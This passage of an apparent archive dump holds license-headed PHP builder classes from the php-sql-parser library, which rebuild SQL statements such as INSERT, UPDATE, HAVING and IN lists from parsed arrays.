 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index key part of a CREATE TABLE statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexKeyBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildIndexType($parsed) {
        $builder = new IndexTypeBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildIndexType($v);            

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE index key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \SC?	  ?	  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OperatorBuilder.phpnu [        <?php
/**
 * OperatorBuilder.php
 *
 * Builds operators.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for operators. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OperatorBuilder implements Builder {

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::OPERATOR) {
            return "";
        }
        return $parsed['base_expr'];
    }
}
?>
PK     \6KJ$
  $
  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByAliasBuilder.phpnu [        <?php
/**
 * OrderByAliasBuilder.php
 *
 * Builds an alias within an ORDER-BY clause.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for an alias within the ORDER-BY clause. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByAliasBuilder implements Builder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::ALIAS) {
            return "";
        }
        return $parsed['base_expr'] . $this->buildDirection($parsed);
    }
}
?>
PK     \db    T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InsertStatementBuilder.phpnu [        <?php
/**
 * InsertStatement.php
 *
 * Builds the INSERT statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Insert statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class InsertStatementBuilder implements Builder {

    protected function buildVALUES($parsed) {
        $builder = new ValuesBuilder();
        return $builder->build($parsed);
    }

    protected function buildINSERT($parsed) {
        $builder = new InsertBuilder();
        return $builder->build($parsed);
    }

    protected function buildSELECT($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildSET($parsed) {
        $builder = new SetBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        // TODO: are there more than one tables possible (like [INSERT][1])
        $sql = $this->buildINSERT($parsed['INSERT']);
        if (isset($parsed['VALUES'])) {
            $sql .= ' ' . $this->buildVALUES($parsed['VALUES']);
        }
        if (isset($parsed['SET'])) {
            $sql .= ' ' . $this->buildSET($parsed['SET']);
        }
        if (isset($parsed['SELECT'])) {
            $sql .= ' ' . $this->buildSELECT($parsed);
        }
        return $sql;
    }
}
?>
PK     \F
  
  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UpdateBuilder.phpnu [        <?php
/**
 * UpdateBuilder.php
 *
 * Builds the UPDATE statement parts.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the UPDATE statement parts. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UpdateBuilder implements Builder {

    protected function buildTable($parsed, $idx) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $idx);
    }

    public function build(array $parsed) {
        $sql = '';

        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildTable($v, $k);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('UPDATE table list', $k, $v, 'expr_type');
            }
        }
        return 'UPDATE ' . $sql;
    }
}
?>
PK     \6l+    U  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/HavingExpressionBuilder.phpnu [        <?php
/**
 * HavingExpressionBuilder.php
 *
 * Builds expressions within the HAVING part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for expressions within the HAVING part. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  Ian Barker <ian@theorganicagency.com>
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class HavingExpressionBuilder extends WhereExpressionBuilder {

    protected function buildHavingExpression($parsed) {
        return $this->build($parsed);
    }

    protected function buildHavingBracketExpression($parsed) {
        $builder = new HavingBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::EXPRESSION) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildColRef($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildInList($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildHavingExpression($v);
            $sql .= $this->buildHavingBracketExpression($v);
            $sql .= $this->buildUserVariable($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('HAVING expression subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }

        $sql = substr($sql, 0, -1);
        return $sql;
    }

}
?>
PK     \|뜺
  
  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/IndexHintListBuilder.phpnu [        <?php
/**
 * IndexHintListBuilder.php
 *
 * Builds the index hint list of a table.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for index hint lists. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class IndexHintListBuilder implements Builder {

    public function hasHint($parsed) {
        return isset($parsed['hints']);
    }

    // TODO: the hint list should be enhanced to get base_expr fro position calculation
    public function build(array $parsed) {
        if (!isset($parsed['hints']) || $parsed['hints'] === false) {
            return "";
        }
        $sql = "";
        foreach ($parsed['hints'] as $k => $v) {
            $sql .= $v['hint_type'] . " " . $v['hint_list'] . " ";
        }
        return " " . substr($sql, 0, -1);
    }
}
?>
PK     \2Z	  	  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/RecordBuilder.phpnu [        <?php
/**
 * RecordBuilder.php
 *
 * Builds the records within the INSERT statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the records within INSERT statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class RecordBuilder implements Builder {

    protected function buildOperator($parsed) {
        $builder = new OperatorBuilder();
        return $builder->build($parsed);
    }

    protected function buildFunction($parsed) {
        $builder = new FunctionBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }

    protected function buildColRef($parsed) {
        $builder = new ColumnReferenceBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::RECORD) {
            return isset($parsed['base_expr']) ? $parsed['base_expr'] : '';
        }
        $sql = "";
        foreach ($parsed['data'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildFunction($v);
            $sql .= $this->buildOperator($v);
            $sql .= $this->buildColRef($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException(ExpressionType::RECORD, $k, $v, 'expr_type');
            }

            $sql .= ", ";
        }
        $sql = substr($sql, 0, -2);
        return "(" . $sql . ")";
    }

}
?>
PK     \"L8
  8
  Z  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateTableDefinitionBuilder.phpnu [        <?php
/**
 * CreateTableDefinitionBuilder.php
 *
 * Builds the create definitions of CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the create definitions of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateTableDefinitionBuilder implements Builder {

    protected function buildTableBracketExpression($parsed) {
        $builder = new TableBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if (!isset($parsed) || $parsed['create-def'] === false) {
            return "";
        }
        return $this->buildTableBracketExpression($parsed['create-def']);
    }
}
?>
PK     \2
  2
  K  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/InListBuilder.phpnu [        <?php
/**
 * InListBuilder.php
 *
 * Builds lists of values for the IN statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder list of values for the IN statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class InListBuilder implements Builder {

    protected function buildSubTree($parsed, $delim) {
        $builder = new SubTreeBuilder();
        return $builder->build($parsed, $delim);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::IN_LIST) {
            return "";
        }
        $sql = $this->buildSubTree($parsed, ", ");
        return "(" . $sql . ")";
    }
}
?>
PK     \wjZ	  Z	  Q  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UserVariableBuilder.phpnu [        <?php
/**
 * UserVariableBuilder.php
 *
 * Builds an user variable.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
